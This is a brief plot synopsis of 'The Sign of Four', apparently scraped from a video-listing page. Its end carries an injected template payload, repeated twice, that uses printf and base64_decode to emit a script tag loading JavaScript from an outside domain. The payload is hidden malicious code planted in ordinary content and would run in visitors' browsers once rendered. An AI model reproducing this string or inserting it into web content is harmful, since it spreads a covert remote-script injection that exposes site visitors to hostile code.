简介：Miss Mary Morstan contacts Sherlock Holmes for his help regarding her father, captain Morstan, who disappeared 10 years ago. Since his disappearance she annually receives a valuable pearl by post from an unknown person. The mystery leads Holmes and doctor Watson into an intricate plot regarding a lost treasure belonging to four convicts on the Andaman Islands{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
